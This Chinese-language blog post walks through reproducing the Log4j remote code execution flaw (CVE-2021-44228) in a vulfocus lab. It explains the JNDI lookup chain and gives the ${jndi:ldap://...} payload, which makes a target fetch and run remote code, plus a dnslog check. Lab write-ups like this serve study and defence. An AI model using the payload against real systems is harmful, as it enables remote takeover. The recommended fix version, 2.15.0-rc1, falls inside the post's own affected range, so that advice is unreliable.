Apache Log4j 远程代码执行漏洞复现(CVE-2021-44228)

一、漏洞描述

Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。

二、漏洞原理

当log4j打印的日志内容中包含${jndi:ldap://my-ip}时,lookup会将jndi注入可执行语句执行,程序会通过ldap协议访问my-ip这个地址,然后my-ip就会返回一个包含java代码的class文件的地址,然后程序再通过返回的地址下载class文件并执行,从而达成漏洞利用目的。

利用流程:

发送payload→目标解析执行payload→通过ldap连接远程服务→ldap将请求重定向到恶意 java class的地址→目标服务器收到重定向请求→下载class文件并执行恶意代码

三、影响范围

2.0-beta9 <= Apache Log4j <= 2.15.0-rc1

四、漏洞复现

复现环境:vulfocus靶场

注册登录后,启动Log4j2远程命令执行(CVE-2021-44228)靶场环境

 

浏览器访问漏洞地址,点击?????时进行抓包。

 

 

 

dnslog平台点击Get SubDomain获取一个临时域名,构造攻击payload:${jndi:ldap://xxx},将新的payload进行URL编码后插入请求包中”payload“参数后。

 

放包后在dnslog平台点击Refresh Record刷新即可看到成功解析记录。

 

 

五、修复建议

Apache官方已发布补丁,建议受影响的用户尽快升级到安全版本。下载地址:

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1

临时解决方案

(1)jvm参数 -Dlog4j2.formatMsgNoLookups=true

(2)log4j2.formatMsgNoLookups=True

posted @ 2022-04-25 15:08  打了个喷嚏  阅读(746)  评论(0编辑  收藏  举报